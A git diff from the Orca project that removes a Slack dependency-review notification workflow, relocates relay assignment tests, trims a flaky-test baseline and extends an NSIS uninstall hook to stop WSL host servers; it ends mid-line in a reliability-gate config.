diff --git a/.github/workflows/computer-e2e.yml b/.github/workflows/computer-e2e.yml index 567a45b73cb..a46e6ecb628 100644 --- a/.github/workflows/computer-e2e.yml +++ b/.github/workflows/computer-e2e.yml @@ -100,7 +100,6 @@ jobs: src/main/computer/macos-computer-use-permissions.test.ts src/main/computer/macos-computer-use-permission-status.test.ts src/main/providers/windows-shell-preflight-runtime.windows.test.ts - src/main/computer/desktop-script-provider-client.test.ts src/main/computer/desktop-script-provider-cache.test.ts src/main/computer/desktop-script-provider-actions.test.ts src/main/computer/desktop-script-provider-cache-lifecycle.test.ts diff --git a/.github/workflows/dependency-security.yml b/.github/workflows/dependency-security.yml index e7fc3f27a26..1e1013b8f04 100644 --- a/.github/workflows/dependency-security.yml +++ b/.github/workflows/dependency-security.yml @@ -31,10 +31,6 @@ on: description: Runner override for GitHub-hosted signing provenance. type: string default: ubuntu-24.04 - secrets: - SLACK_WEBHOOK_URL: - description: Existing orca-releases incoming webhook - required: false workflow_dispatch: permissions: @@ -52,8 +48,6 @@ jobs: if: github.event_name != 'pull_request' || github.event.pull_request.draft != true runs-on: ${{ inputs.runner || 'ubuntu-24.04' }} timeout-minutes: 15 - outputs: - audit_result: ${{ steps.audit.outcome }} steps: - uses: actions/checkout@v6 with: @@ -87,8 +81,6 @@ jobs: if: github.event_name != 'pull_request' || github.event.pull_request.draft != true runs-on: ${{ inputs.runner || 'ubuntu-24.04' }} timeout-minutes: 20 - outputs: - audit_result: ${{ steps.audit.outcome }} steps: - uses: actions/checkout@v6 with: @@ -126,53 +118,3 @@ jobs: name: dependency-security-rust path: tmp/dependency-security/*.log if-no-files-found: error - - notify: - needs: [javascript, rust] - if: >- - !cancelled() && github.repository == 'stablyai/orca' && - (needs.javascript.outputs.audit_result == 'failure' || - needs.rust.outputs.audit_result == 'failure' || - needs.javascript.result == 'failure' || needs.rust.result == 'failure') - runs-on: ${{ inputs.runner || 'ubuntu-24.04' }} - timeout-minutes: 5 - steps: - - name: Send dependency review to orca-releases - uses: actions/github-script@v8 - continue-on-error: true - env: - SLACK_WEBHOOK_URL: ${{ secrets.SLACK_WEBHOOK_URL }} - RELEASE_REF: ${{ inputs.ref }} - AUDIT_RESULTS: ${{ toJSON(needs) }} - with: - script: | - if (!process.env.SLACK_WEBHOOK_URL) { - core.notice('Slack notification unavailable for this run; see the dependency reports in Actions.') - return - } - const results = JSON.parse(process.env.AUDIT_RESULTS) - const checks = [['javascript', 'JavaScript'], ['rust', 'Rust']].map(([job, label]) => { - const result = results[job] - const status = result.result !== 'success' ? 'scan incomplete' - : result.outputs.audit_result === 'success' ? 'passed' : 'review suggested' - return `${label}: ${status}` - }) - const target = context.payload.pull_request - ? `PR #${context.payload.pull_request.number}` - : process.env.RELEASE_REF || context.ref - const runUrl = `${process.env.GITHUB_SERVER_URL}/${process.env.GITHUB_REPOSITORY}/actions/runs/${process.env.GITHUB_RUN_ID}` - const text = `Orca dependency review for ${target}\n${checks.join(' · ')}\nReports and logs: ${runUrl}` - let response - try { - response = await fetch(process.env.SLACK_WEBHOOK_URL, { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ text, mrkdwn: false, unfurl_links: false, unfurl_media: false }), - signal: AbortSignal.timeout(15000) - }) - } catch { - throw new Error('Slack dependency review notification could not be sent') - } - if (!response.ok) { - throw new Error(`Slack dependency review notification returned HTTP ${response.status}`) - } diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index 62d0c4716b1..9a61c0f46cf 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -83,6 +83,7 @@ jobs: /config/scripts/pr-e2e-source-routing.mjs /config/scripts/pr-browser-e2e-source-routes.mjs /config/scripts/pr-editor-preview-e2e-source-routes.mjs + /config/scripts/pr-feature-area-e2e-source-routes.mjs /config/scripts/pr-plugin-e2e-source-routes.mjs /config/scripts/pr-wsl-e2e-source-routes.mjs /config/scripts/ci-e2e-job-selection.mjs diff --git a/.github/workflows/release-cut.yml b/.github/workflows/release-cut.yml index 57b0316ca88..3bcd08cd539 100644 --- a/.github/workflows/release-cut.yml +++ b/.github/workflows/release-cut.yml @@ -697,8 +697,6 @@ jobs: with: ref: refs/tags/${{ needs.cut.outputs.tag }} runner: ubuntu-latest - secrets: - SLACK_WEBHOOK_URL: ${{ secrets.SLACK_WEBHOOK_URL }} terminal-rendering-golden: needs: cut diff --git a/cloud/apps/relay/src/assignment-store.ts b/cloud/apps/relay/src/assignment-store.ts index 42dd73c273b..33ac8eaae70 100644 --- a/cloud/apps/relay/src/assignment-store.ts +++ b/cloud/apps/relay/src/assignment-store.ts @@ -58,7 +58,7 @@ import { } from './cell-admission-migration-registration.js' import { ASSIGNMENT_CONNECTION_HEADROOM_QUERY -} from './assignment-connection-headroom-query.js' +} from './assignment/assignment-connection-headroom-query.js' import { CONNECTION_CAP_COLUMNS_SQL, EFFECTIVE_HARD_CAP_SQL, diff --git a/cloud/apps/relay/src/assignment-connection-headroom-postgres.test.ts b/cloud/apps/relay/src/assignment/assignment-connection-headroom-postgres.test.ts similarity index 99% rename from cloud/apps/relay/src/assignment-connection-headroom-postgres.test.ts rename to cloud/apps/relay/src/assignment/assignment-connection-headroom-postgres.test.ts index 7b6955d51d8..2a1d9bb7fb5 100644 --- a/cloud/apps/relay/src/assignment-connection-headroom-postgres.test.ts +++ b/cloud/apps/relay/src/assignment/assignment-connection-headroom-postgres.test.ts @@ -1,11 +1,11 @@ import pg from 'pg' import { afterAll, beforeAll, describe, expect, it } from 'vitest' import { ASSIGNMENT_CONNECTION_HEADROOM_QUERY } from './assignment-connection-headroom-query.js' -import { RelayAssignmentStore } from './assignment-store.js' +import { RelayAssignmentStore } from '../assignment-store.js' import { openRelayDatabase, type RelayDatabase -} from './database.js' +} from '../database.js' const databaseUrl = process.env.ORCA_RELAY_TEST_POSTGRES_URL const describePostgres = databaseUrl ? describe : describe.skip diff --git a/cloud/apps/relay/src/assignment-connection-headroom-query.ts b/cloud/apps/relay/src/assignment/assignment-connection-headroom-query.ts similarity index 93% rename from cloud/apps/relay/src/assignment-connection-headroom-query.ts rename to cloud/apps/relay/src/assignment/assignment-connection-headroom-query.ts index d6b66a4c527..69b397c015b 100644 --- a/cloud/apps/relay/src/assignment-connection-headroom-query.ts +++ b/cloud/apps/relay/src/assignment/assignment-connection-headroom-query.ts @@ -1,4 +1,4 @@ -import { EFFECTIVE_HARD_CAP_SQL } from './cell-connection-cap.js' +import { EFFECTIVE_HARD_CAP_SQL } from '../cell-connection-cap.js' export const ASSIGNMENT_CONNECTION_HEADROOM_QUERY = `SELECT limits.cell_id, ${EFFECTIVE_HARD_CAP_SQL} AS effective_hard_cap, limits.unobserved_bound, diff --git a/cloud/apps/relay/src/assignment-connection-headroom.test.ts b/cloud/apps/relay/src/assignment/assignment-connection-headroom.test.ts similarity index 99% rename from cloud/apps/relay/src/assignment-connection-headroom.test.ts rename to cloud/apps/relay/src/assignment/assignment-connection-headroom.test.ts index 9bfeb10749a..52b2da1d6ae 100644 --- a/cloud/apps/relay/src/assignment-connection-headroom.test.ts +++ b/cloud/apps/relay/src/assignment/assignment-connection-headroom.test.ts @@ -1,11 +1,11 @@ -import { ASSIGNMENT_LIMITS } from '@orca-cloud/relay-contract' +import { ASSIGNMENT_LIMITS } from '@orca-cloud/relay-contract/assignment-invariants' import { afterEach, describe, expect, it } from 'vitest' -import { RelayAssignmentStore } from './assignment-store.js' -import type { RelayCellConfig } from './config.js' +import { RelayAssignmentStore } from '../assignment-store.js' +import type { RelayCellConfig } from '../config.js' import { openInMemoryRelayDatabase, type RelayDatabase -} from './database.js' +} from '../database.js' const LIMITED_CELL: RelayCellConfig = { id: 'limited', diff --git a/cloud/apps/relay/src/assignment-control-supersession-postgres.test.ts b/cloud/apps/relay/src/assignment/assignment-control-supersession-postgres.test.ts similarity index 97% rename from cloud/apps/relay/src/assignment-control-supersession-postgres.test.ts rename to cloud/apps/relay/src/assignment/assignment-control-supersession-postgres.test.ts index 756706a182b..ac13bf5001f 100644 --- a/cloud/apps/relay/src/assignment-control-supersession-postgres.test.ts +++ b/cloud/apps/relay/src/assignment/assignment-control-supersession-postgres.test.ts @@ -1,6 +1,6 @@ import { afterAll, beforeAll, describe, expect, it } from 'vitest' -import { RelayAssignmentStore } from './assignment-store.js' -import { openRelayDatabase, type RelayDatabase } from './database.js' +import { RelayAssignmentStore } from '../assignment-store.js' +import { openRelayDatabase, type RelayDatabase } from '../database.js' const databaseUrl = process.env.ORCA_RELAY_TEST_POSTGRES_URL const describePostgres = databaseUrl ? describe : describe.skip diff --git a/cloud/apps/relay/src/assignment-headroom-scope.test.ts b/cloud/apps/relay/src/assignment/assignment-headroom-scope.test.ts similarity index 98% rename from cloud/apps/relay/src/assignment-headroom-scope.test.ts rename to cloud/apps/relay/src/assignment/assignment-headroom-scope.test.ts index 9862849d8e0..737a101cc04 100644 --- a/cloud/apps/relay/src/assignment-headroom-scope.test.ts +++ b/cloud/apps/relay/src/assignment/assignment-headroom-scope.test.ts @@ -1,6 +1,6 @@ import { afterEach, describe, expect, it } from 'vitest' -import { RelayAssignmentStore } from './assignment-store.js' -import { openInMemoryRelayDatabase, type RelayDatabase } from './database.js' +import { RelayAssignmentStore } from '../assignment-store.js' +import { openInMemoryRelayDatabase, type RelayDatabase } from '../database.js' const NOW = 100_000 const CELL_COUNT = 32 diff --git a/cloud/apps/relay/src/assignment-row-lock-order-postgres.test.ts b/cloud/apps/relay/src/assignment/assignment-row-lock-order-postgres.test.ts similarity index 97% rename from cloud/apps/relay/src/assignment-row-lock-order-postgres.test.ts rename to cloud/apps/relay/src/assignment/assignment-row-lock-order-postgres.test.ts index 5d76473dd01..41f8b26a557 100644 --- a/cloud/apps/relay/src/assignment-row-lock-order-postgres.test.ts +++ b/cloud/apps/relay/src/assignment/assignment-row-lock-order-postgres.test.ts @@ -1,6 +1,6 @@ import { afterAll, beforeAll, describe, expect, it } from 'vitest' -import { RelayAssignmentStore } from './assignment-store.js' -import { openRelayDatabase, type RelayDatabase } from './database.js' +import { RelayAssignmentStore } from '../assignment-store.js' +import { openRelayDatabase, type RelayDatabase } from '../database.js' const databaseUrl = process.env.ORCA_RELAY_TEST_POSTGRES_URL const describePostgres = databaseUrl ? describe : describe.skip diff --git a/cloud/apps/relay/src/assignment-store-lock-order.test.ts b/cloud/apps/relay/src/assignment/assignment-store-lock-order.test.ts similarity index 99% rename from cloud/apps/relay/src/assignment-store-lock-order.test.ts rename to cloud/apps/relay/src/assignment/assignment-store-lock-order.test.ts index fa670b0ae7f..787f8524546 100644 --- a/cloud/apps/relay/src/assignment-store-lock-order.test.ts +++ b/cloud/apps/relay/src/assignment/assignment-store-lock-order.test.ts @@ -1,7 +1,7 @@ import { describe, expect, it } from 'vitest' -import { RelayAssignmentStore } from './assignment-store.js' -import type { RelayDatabase, RelayLockOptions, SqlRow } from './database.js' -import { openInMemoryRelayDatabase } from './database.js' +import { RelayAssignmentStore } from '../assignment-store.js' +import type { RelayDatabase, RelayLockOptions, SqlRow } from '../database.js' +import { openInMemoryRelayDatabase } from '../database.js' const identity = { userId: 'user-a', relayHostId: 'host000000000001' } const activityId = 'splice:connection-1' diff --git a/cloud/apps/relay/src/cell-connection-cap-postgres.test.ts b/cloud/apps/relay/src/cell-connection-cap-postgres.test.ts index 324484a7d49..61f610fc755 100644 --- a/cloud/apps/relay/src/cell-connection-cap-postgres.test.ts +++ b/cloud/apps/relay/src/cell-connection-cap-postgres.test.ts @@ -1,5 +1,5 @@ import { afterAll, beforeAll, describe, expect, it } from 'vitest' -import { ASSIGNMENT_CONNECTION_HEADROOM_QUERY } from './assignment-connection-headroom-query.js' +import { ASSIGNMENT_CONNECTION_HEADROOM_QUERY } from './assignment/assignment-connection-headroom-query.js' import { RelayAssignmentStore } from './assignment-store.js' import type { RelayCellConfig } from './config.js' import { openRelayDatabase, type RelayDatabase } from './database.js' diff --git a/cloud/apps/relay/vitest.config.ts b/cloud/apps/relay/vitest.config.ts index 90621de9e9d..f22fb73932d 100644 --- a/cloud/apps/relay/vitest.config.ts +++ b/cloud/apps/relay/vitest.config.ts @@ -1,4 +1,4 @@ -import { readdirSync, readFileSync } from 'node:fs' +import { globSync, readFileSync } from 'node:fs' import { join } from 'node:path' import { fileURLToPath } from 'node:url' import { defaultExclude, defineConfig } from 'vitest/config' @@ -6,8 +6,8 @@ import { defaultExclude, defineConfig } from 'vitest/config' // PostgreSQL files share session locks and a small connection budget. // The runner overlaps this serialized project with SQLite tests after other packages finish. const sourceDirectory = fileURLToPath(new URL('src', import.meta.url)) -const sharedPostgresTests = readdirSync(sourceDirectory) - .filter((entry) => entry.endsWith('.test.ts')) +const sharedPostgresTests = globSync('**/*.test.ts', { cwd: sourceDirectory }) + .map((entry) => entry.replaceAll('\\', '/')) .filter((entry) => readFileSync(join(sourceDirectory, entry), 'utf8').includes('ORCA_RELAY_TEST_POSTGRES_URL') ) diff --git a/cloud/packages/relay-contract/package.json b/cloud/packages/relay-contract/package.json index 99339b4c6cd..183b68c7a56 100644 --- a/cloud/packages/relay-contract/package.json +++ b/cloud/packages/relay-contract/package.json @@ -19,5 +19,16 @@ "@types/node": "^24.19.2", "typescript": "^7.0.2", "vitest": "^5.0.5" + }, + "exports": { + ".": { + "types": "./dist/index.d.ts", + "default": "./dist/index.js" + }, + "./assignment-invariants": { + "types": "./dist/assignment-invariants.d.ts", + "default": "./dist/assignment-invariants.js" + }, + "./package.json": "./package.json" } } diff --git a/config/flaky-test-pattern-baseline.txt b/config/flaky-test-pattern-baseline.txt index edb484f40b3..1a97c148b57 100644 --- a/config/flaky-test-pattern-baseline.txt +++ b/config/flaky-test-pattern-baseline.txt @@ -12,7 +12,6 @@ 1 test-no-in-test-import-actual:src/main/claude/claude-agent-sdk-process-spawn.test.ts 3 test-no-in-test-import-actual:src/main/codex-accounts/runtime-home-read-only-launch-resolution.test.ts 1 test-no-in-test-import-actual:src/main/codex-accounts/runtime-home-wsl-system-default.test.ts -2 test-no-in-test-import-actual:src/main/codex-accounts/service-managed-home-removal-retries.test.ts 1 test-no-in-test-import-actual:src/main/codex-usage/scanner-file-identity.test.ts 1 test-no-in-test-import-actual:src/main/codex/config-toml-hook-trust-scaling.test.ts 8 test-no-in-test-import-actual:src/main/daemon/daemon-endpoint-publish.test.ts @@ -43,7 +42,7 @@ 1 test-no-in-test-import-actual:src/main/runtime/orca-runtime-files-terminal-artifact-swap-detection.test.ts 1 test-no-in-test-import-actual:src/main/runtime/structured-agent-cli-writers.test.ts 1 test-no-in-test-import-actual:src/main/speech/openai-api-key-store.test.ts -6 test-no-in-test-import-actual:src/main/ssh/config/ssh-config-loader-regression.test.ts +5 test-no-in-test-import-actual:src/main/ssh/config/ssh-config-loader-regression.test.ts 2 test-no-in-test-import-actual:src/main/ssh/connection/ssh-connection-auth-fallback.test.ts 1 test-no-in-test-import-actual:src/main/ssh/orcad-snapshot-room.test.ts 2 test-no-in-test-import-actual:src/main/window/dropped-path-preparation.test.ts @@ -94,7 +93,7 @@ 1 test-no-polling-loop:src/main/daemon/daemon-stream-backpressure-socket.test.ts 1 test-no-polling-loop:src/main/daemon/headless-emulator-snapshot-cost.bench.test.ts 1 test-no-polling-loop:src/main/daemon/node-pty-conout-worker-errors.test.ts -2 test-no-polling-loop:src/main/daemon/repro-12101-mouse-tracking-survives-agent-death.test.ts +1 test-no-polling-loop:src/main/daemon/repro-12101-mouse-tracking-survives-agent-death.test.ts 2 test-no-polling-loop:src/main/git/repo-ref-maintenance-real-git.test.ts 1 test-no-polling-loop:src/main/git/worktree-removal-large-tree.bench.test.ts 1 test-no-polling-loop:src/main/ipc/folder-repo-git-upgrade.test.ts @@ -313,7 +312,7 @@ 4 test-no-real-time-wait:src/main/daemon/node-pty-windows-input-error.win32.test.ts 1 test-no-real-time-wait:src/main/daemon/node-pty-windows-output-error.win32.test.ts 11 test-no-real-time-wait:src/main/daemon/reattach-snapshot.test.ts -2 test-no-real-time-wait:src/main/daemon/repro-12101-mouse-tracking-survives-agent-death.test.ts +1 test-no-real-time-wait:src/main/daemon/repro-12101-mouse-tracking-survives-agent-death.test.ts 6 test-no-real-time-wait:src/main/daemon/repro-13767-shell-ready-marker-lost-to-exec.test.ts 4 test-no-real-time-wait:src/main/daemon/session-shell-recovery.test.ts 1 test-no-real-time-wait:src/main/daemon/session.test.ts @@ -370,7 +369,6 @@ 2 test-no-real-time-wait:src/main/native-chat/agent-session-wire/structured-agent-session-claude-subagent-row.test.ts 1 test-no-real-time-wait:src/main/native-chat/agent-session-wire/structured-agent-session-owed-work-release.test.ts 3 test-no-real-time-wait:src/main/native-chat/agent-session-wire/structured-agent-session-queued-command.test.ts -1 test-no-real-time-wait:src/main/native-chat/agent-session-wire/structured-agent-session-queued-legacy-import.test.ts 1 test-no-real-time-wait:src/main/native-chat/agent-session-wire/structured-agent-session-queued-quit.test.ts 1 test-no-real-time-wait:src/main/native-chat/agent-session-wire/structured-agent-session-queued-refused-card.test.ts 1 test-no-real-time-wait:src/main/native-chat/agent-session-wire/structured-agent-session-restart-cap.test.ts @@ -381,7 +379,7 @@ 1 test-no-real-time-wait:src/main/native-chat/agent-session-wire/structured-agent-session-stop-aborts-start.test.ts 1 test-no-real-time-wait:src/main/native-chat/agent-session-wire/structured-agent-session-target-reconcile.test.ts 1 test-no-real-time-wait:src/main/native-chat/transcript-opencode2-sqlite.test.ts -2 test-no-real-time-wait:src/main/native-chat/transcript-watch-error.test.ts +1 test-no-real-time-wait:src/main/native-chat/transcript-watch-error.test.ts 2 test-no-real-time-wait:src/main/native-chat/transcript-watch-liveness.test.ts 11 test-no-real-time-wait:src/main/native-chat/transcript-watch.test.ts 1 test-no-real-time-wait:src/main/node-runtime/managed-runtime-installation.test.ts @@ -420,7 +418,6 @@ 1 test-no-real-time-wait:src/main/runtime/restored-pane-start-cli-handles.test.ts 1 test-no-real-time-wait:src/main/runtime/rpc/methods/agent-launch-instant-tab.test.ts 2 test-no-real-time-wait:src/main/runtime/rpc/methods/agent-launch-restart-replay.test.ts -1 test-no-real-time-wait:src/main/runtime/rpc/methods/structured-agent-session-at-rest.test.ts 1 test-no-real-time-wait:src/main/runtime/rpc/terminal-multiplex-ack-output-budget.test.ts 1 test-no-real-time-wait:src/main/runtime/rpc/terminal-multiplex-input-sequence-replay.test.ts 2 test-no-real-time-wait:src/main/runtime/rpc/terminal-multiplex-source-range-request.test.ts @@ -458,7 +455,6 @@ 2 test-no-real-time-wait:src/main/ssh/sftp-upload.test.ts 1 test-no-real-time-wait:src/main/ssh/ssh-credential-prompt-login-grace-wire.test.ts 2 test-no-real-time-wait:src/main/ssh/ssh-quit-abort-upload.test.ts -1 test-no-real-time-wait:src/main/startup/codex-hook-startup-wiring.test.ts 2 test-no-real-time-wait:src/main/startup/gpu-lifecycle-install-dir-acl-guard.test.ts 1 test-no-real-time-wait:src/main/startup/main-process-ready-duplicate-pty-repair.test.ts 3 test-no-real-time-wait:src/main/startup/run-electron-vite-dev-web.test.ts @@ -960,7 +956,7 @@ 2 test-no-wall-clock:src/main/rate-limits/service-cursor-usage.test.ts 12 test-no-wall-clock:src/main/rate-limits/service-minimax-usage.test.ts 38 test-no-wall-clock:src/main/rate-limits/service-refresh-orchestration.test.ts -6 test-no-wall-clock:src/main/rate-limits/service-zcode-usage.test.ts +4 test-no-wall-clock:src/main/rate-limits/service-zcode-usage.test.ts 1 test-no-wall-clock:src/main/runtime/agent-session/ownership/agent-session-process-identity-probe.test.ts 1 test-no-wall-clock:src/main/runtime/agent-state-rules/agent-state-rules-engine.test.ts 1 test-no-wall-clock:src/main/runtime/antigravity-readiness-transcripts.test.ts @@ -1106,12 +1102,9 @@ 4 test-no-wall-clock:src/renderer/src/components/sidebar/WorktreeCard.compact-hover.test.tsx 13 test-no-wall-clock:src/renderer/src/components/sidebar/WorktreeCard.pr-display.test.tsx 2 test-no-wall-clock:src/renderer/src/components/sidebar/WorktreeCard.single-reference-details.test.tsx -3 test-no-wall-clock:src/renderer/src/components/sidebar/WorktreeCardAgents.send-target.test.tsx 1 test-no-wall-clock:src/renderer/src/components/sidebar/WorktreeList.lineage-agent-expansion-coupling.test.tsx 1 test-no-wall-clock:src/renderer/src/components/sidebar/WorktreeList.lineage-child-real-card.test.tsx 5 test-no-wall-clock:src/renderer/src/components/sidebar/use-workspace-reference-details.test.tsx -3 test-no-wall-clock:src/renderer/src/components/sidebar/worktree-agent-rows-subscriptions.bench.test.tsx -1 test-no-wall-clock:src/renderer/src/components/status-bar/RuntimeHostStatusRow.test.tsx 5 test-no-wall-clock:src/renderer/src/components/status-bar/inline-usage-bars.test.tsx 4 test-no-wall-clock:src/renderer/src/components/status-bar/provider-segment-balance.test.tsx 2 test-no-wall-clock:src/renderer/src/components/status-bar/status-bar-antigravity-segment.test.tsx @@ -1127,13 +1120,10 @@ 2 test-no-wall-clock:src/renderer/src/components/terminal-pane/remote-snapshot-alt-screen-host-chain.test.ts 3 test-no-wall-clock:src/renderer/src/components/terminal-pane/terminal-hidden-view-parking.test.ts 1 test-no-wall-clock:src/renderer/src/components/terminal-pane/terminal-link-worktree-root-activation.test.ts -1 test-no-wall-clock:src/renderer/src/components/terminal-pane/terminal-pane-store-subscription-budget.test.tsx 1 test-no-wall-clock:src/renderer/src/components/terminal-pane/terminal-parked-tab-watchers.test.ts 2 test-no-wall-clock:src/renderer/src/components/terminal-workspace-surface-ids.test.tsx 1 test-no-wall-clock:src/renderer/src/components/terminal/initial-terminal-structured-launch.test.tsx 2 test-no-wall-clock:src/renderer/src/components/workspace-cleanup/use-workspace-cleanup-removal.agent-stop.test.tsx -6 test-no-wall-clock:src/renderer/src/components/workspace-cleanup/workspace-cleanup-confirm-remove.test.tsx -2 test-no-wall-clock:src/renderer/src/components/worktree-creation/WorktreeCreationPanel.test.tsx 2 test-no-wall-clock:src/renderer/src/hooks/ipc-events/agent-status-terminal-title-tab-write.test.ts 3 test-no-wall-clock:src/renderer/src/hooks/useAutomationDispatchEvents.test.ts 1 test-no-wall-clock:src/renderer/src/hooks/useIpcEvents-agent-status-hook-titles.test.ts @@ -1304,7 +1294,7 @@ 4 test-timeout-needs-reason:src/main/managed-server/lifecycle/orcad-managed-tunnel-transport-real-openssh.test.ts 3 test-timeout-needs-reason:src/main/native-chat/agent-model-catalog/agent-model-catalog-probe-runner.test.ts 5 test-timeout-needs-reason:src/main/native-chat/agent-session-wire/structured-agent-session-claude-queued-stop.test.ts -3 test-timeout-needs-reason:src/main/native-chat/agent-session-wire/structured-agent-session-claude-stop-ends-session.test.ts +2 test-timeout-needs-reason:src/main/native-chat/agent-session-wire/structured-agent-session-claude-stop-ends-session.test.ts 1 test-timeout-needs-reason:src/main/native-chat/agent-session-wire/structured-agent-session-claude-stop-turn-end.test.ts 1 test-timeout-needs-reason:src/main/native-chat/agent-session-wire/structured-agent-session-interrupted-continuation.test.ts 1 test-timeout-needs-reason:src/main/native-chat/agent-session-wire/structured-agent-session-status-feed-children.test.ts @@ -1369,10 +1359,7 @@ 4 test-timeout-needs-reason:src/packages/process-host/src/run-process.test.ts 5 test-timeout-needs-reason:src/renderer/src/components/sidebar/WorktreeCard.compact-hover.test.tsx 2 test-timeout-needs-reason:src/renderer/src/components/sidebar/WorktreeCard.host-badge-toggle.test.tsx -2 test-timeout-needs-reason:src/renderer/src/components/sidebar/WorktreeCard.lineage.test.tsx -4 test-timeout-needs-reason:src/renderer/src/components/sidebar/WorktreeCard.pinned-repo-icon.test.tsx 7 test-timeout-needs-reason:src/renderer/src/components/sidebar/WorktreeCard.pr-display.test.tsx -1 test-timeout-needs-reason:src/renderer/src/components/sidebar/WorktreeCardAgents.send-target.test.tsx 1 test-timeout-needs-reason:src/renderer/src/components/sidebar/WorktreeCardAgents.test.tsx 1 test-timeout-needs-reason:src/renderer/src/components/tab-bar/BrowserTab.test.tsx 1 test-timeout-needs-reason:src/renderer/src/components/tab-bar/TabBar.windows-shell-launch.test.ts diff --git a/config/nsis/orca-installer-hooks.nsh b/config/nsis/orca-installer-hooks.nsh index f40668b3143..9ac82b88a25 100644 --- a/config/nsis/orca-installer-hooks.nsh +++ b/config/nsis/orca-installer-hooks.nsh @@ -61,33 +61,52 @@ Pop $0 nsExec::Exec 'taskkill /F /IM "orca-terminal-daemon.exe" $2' Pop $0 - ; WSL hosts: the detached wsl.exe holders outlive the app and keep their distros running. Orca + ; WSL hosts: the detached wsl.exe holders and each host's server keep their distros running. Orca ; ends only the holders its profile recorded, each checked by pid, start time and command line. - ; Only a userData that has a holder folder launches it: everyone who never ran a WSL host sees - ; nothing here. These are the folders Electron's userData (app.getName()) can be, as the + ; The last install for this user also stops each recorded host's server in a running distro: the + ; HKCU/HKLM twin shares this userData, its host records and those servers, so it keeps them. + ; Only a userData with a holder folder or WSL host records launches it: everyone who never ran a + ; WSL host sees nothing here. These are the folders Electron's userData (app.getName()) can be, as the ; deleteAppData step lists them; a custom --user-data-dir can't be known here. - ; Sync the flag with WSL_HOLDER_UNINSTALL_FLAG in src/main/startup/wsl-holder-uninstall-preflight.ts. + ; Sync the flags with WSL_HOLDER_UNINSTALL_FLAG and WSL_SERVER_UNINSTALL_FLAG in + ; src/main/startup/wsl-holder-uninstall-preflight.ts. ${if} $installMode == "all" SetShellVarContext current ${endIf} StrCpy $1 "" + StrCpy $2 "" ${if} ${FileExists} "$APPDATA\${APP_FILENAME}\wsl-distro-holders\*.json" StrCpy $1 "1" ${endIf} + ${if} ${FileExists} "$APPDATA\${APP_FILENAME}\orca-wsl-host-deployments.json" + StrCpy $2 "1" + ${endIf} !ifdef APP_PRODUCT_FILENAME ${if} ${FileExists} "$APPDATA\${APP_PRODUCT_FILENAME}\wsl-distro-holders\*.json" StrCpy $1 "1" ${endIf} + ${if} ${FileExists} "$APPDATA\${APP_PRODUCT_FILENAME}\orca-wsl-host-deployments.json" + StrCpy $2 "1" + ${endIf} !endif !ifdef APP_PACKAGE_NAME ${if} ${FileExists} "$APPDATA\${APP_PACKAGE_NAME}\wsl-distro-holders\*.json" StrCpy $1 "1" ${endIf} + ${if} ${FileExists} "$APPDATA\${APP_PACKAGE_NAME}\orca-wsl-host-deployments.json" + StrCpy $2 "1" + ${endIf} !endif ${if} $installMode == "all" SetShellVarContext all ${endIf} - ${if} $1 == "1" + ${if} $2 == "1" + !insertmacro ORCA_OTHER_INSTALL_STATE $2 + ${endIf} + ${if} $2 == "none" + nsExec::Exec '"$INSTDIR\${APP_EXECUTABLE_FILENAME}" --orca-uninstall-release-wsl-holders --orca-uninstall-stop-wsl-servers' + Pop $0 + ${elseIf} $1 == "1" nsExec::Exec '"$INSTDIR\${APP_EXECUTABLE_FILENAME}" --orca-uninstall-release-wsl-holders' Pop $0 ${endIf} diff --git a/config/reliability-gates.jsonc b/config/reliability-gates.jsonc index 47831aa07f4..f8b3b05f463 100644 --- a/config/reliability-gates.jsonc +++ b/config/reliability-gates.jsonc @@ -10811,7 +10811,7 @@ "providers": ["local", "remote-runtime", "ssh", "wsl"], "coveredPlatforms": ["macos"], "coveredProviders": ["local", "remote-runtime", "ssh", "wsl"], - "coverageNotes": "Platform-neutral deterministic tests separate the durable Active Server preference from per-client connection, selected-workspace, browser-session, Add Project, and execution-host routing. The composed regression models Local desktop -> connect/navigate Windows 2 -> reveal a local terminal -> restart. Multi-client browser host overrides, multi-server profile caches, generic settings IPC rejection, local and remote workspace ownership, Add Project eligibility/owner capture/stale-result fencing, host-qualified group/folder/worktree identity, and restart reset of transient routing are covered. A visible macOS Orca desktop server plus separate paired Electron and web clients prove selected-runtime Add Project operations and disabled creation when the only listed host is blocked or unavailable; headless-server parity also passed. Live Linux, Windows, WSL, and SSH Add Project journeys remain uncollected.", + "coverageNotes": "Platform-neutral deterministic tests separate the durable Active Server preference from per-client connection, selected-workspace, browser-session, Add Project, and execution-host routing. The composed regression models Local desktop -> connect/navigate Windows 2 -> reveal a local terminal -> restart. Multi-client browser host overrides, multi-server profile caches, generic settings IPC rejection, local and remote workspace ownership, Add Project eligibility/owner capture/stale-result fencing, host-qualified group/folder/worktree identity, and restart reset of transient routing are covered. A visible macOS Orca desktop server plus separate paired Electron and web clients prove selected-runtime Add Project operations and disabled creation when the only listed host is blocked or unavailable; headless-server parity also passed. Live Linux, Windows, WSL, and SSH Add Project journeys remain uncollected. The static wrapper-rendering suite was removed during the low-value-test audit; its supplied-prop host-browser and control-visibility output assertions are no longer checked by that suite. This removal supplies no new runtime-routing evidence.", "motivatingLinks": [ "https://github.com/stablyai/orca/pull/9687", "https://linear.app/stably/issue/STA-4024/p1-paired-web-add-project-enables-unavailable-host-fallback-after-pr" @@ -10821,7 +10821,7 @@ "commands": [ "pnpm exec vitest run --config config/vitest.config.ts src/main/ipc/settings.test.ts src/main/ipc/runtime-environments/runtime-environments-pairing.test.ts src/renderer/src/store/slices/settings.test.ts src/renderer/src/store/slices/browser.test.ts src/renderer/src/components/settings/browser-session-host-selection.test.ts src/renderer/src/components/settings/RuntimeEnvironmentsPane.test.ts src/renderer/src/components/sidebar/use-add-repo-host-selection.test.ts src/renderer/src/hooks/useIpcEvents-terminal-create-surfacing.test.ts src/renderer/src/web/web-preload-api-runtime-environment.test.ts --maxWorkers=1", "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/sidebar/AddProjectFromFolderDialog.test.tsx src/renderer/src/components/sidebar/NonGitFolderDialog.test.tsx src/renderer/src/components/sidebar/AddRepoDialog.default-checkout.test.ts src/renderer/src/components/sidebar/AddRepoSteps.default-checkout.test.ts src/renderer/src/components/sidebar/project-added-default-checkout.test.ts src/renderer/src/components/sidebar/useAddRepoLocalFolderFlow.test.ts 